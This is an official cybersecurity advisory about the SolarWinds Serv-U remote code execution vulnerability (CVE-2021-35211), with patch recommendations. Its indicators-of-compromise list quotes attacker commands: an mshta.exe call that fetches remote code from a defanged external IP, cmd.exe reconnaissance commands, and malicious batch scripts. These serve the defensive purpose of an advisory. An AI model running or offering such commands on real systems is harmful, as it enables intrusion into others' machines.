Pakistan Telecom Authority Headquarters, Islamabad

PTA Cyber Security Advisory No: 138 **16-07-2021**

Name: Solar Winds Serv-U Remote code Execution Vulnerability (CVE-2021-35211)

Threat Classification: Remote Code Execution

Affected Products: Serv-U 15.2.3 HF1 and all prior Serv-U versions

Summary:

It has been observed with serious concern that critical security vulnerability exists in the Solar Winds Serv-U software. Successful exploitation could give the attacker ability to remotely run arbitrary code with privileges, which may include but not limited to installing and running malicious payloads, or viewing and changing sensitive data. The Linux version of the Serv-U product crashes when the exploit is attempted by a threat actor.

Severity	Critical
Attack Vector	Network
Privileges required	None

Indicators of Compromise (IoCs):

Some examples of the malicious processes spawned from Serv-U.exe include:

- C:\Windows\System32\mshta.exe http://144[.]34[.]179[.]162/a (defanged)
- cmd.exe /c whoami > "./Client/Common/redacted.txt"
- cmd.exe /c dir > ".\Client\Common\redacted.txt"
- cmd.exe /c ""C:\Windows\Temp\Serv-U.bat""
- powershell.exe C:\Windows\Temp\Serv-U.bat
- cmd.exe /c type \\redacted\redacted.Archive > "C:\ProgramData\RhinoSoft\Serv-U\Users\GlobalUsers\redacted.Archive"
- 98[.]176[.]196[.]89
- 68[.]235[.]178[.]32

- 208[.]113[.]35[.]58
- 144[.]34[.]179[.]162
- 97[.]77[.]97[.]58
- hxxp://144[.]34[.]179[.]162/a
- C:\Windows\Temp\Serv-U.bat
- C:\Windows\Temp\test\current.dmp

For further details, please visit following official link:

- https://www.solarwinds.com/trust-center/security-advisories/cve-2021-35211
- https://www.microsoft.com/security/blog/2021/07/13/microsoft-discovers-threat-actor-targeting-solarwinds-serv-u-software-with-0-day-exploit/

Recommendations:

- Serv-U version 15.2.3 hotfix (HF) 2 has been released by the vendor. It is recommended to install the updates immediately. Please see the 'Security Updates' table of the below mentioned link for the applicable update for your system: https://www.solarwinds.com/trust-center/security-advisories/cve-2021-35211
- It is also recommended to visit the FAQ section on the above mentioned link for detailed information on subject matter.
- Use licensed antivirus and regularly obtain its latest updates with its real-time scanning capabilities enabled.
- Only use licensed software and avoid download/use of cracked and pirated software.
- Designate a PoC from your security/ Network team (if yet not designated), for seeking assistance and reporting security issues.
- In case of any incident, please report to this office.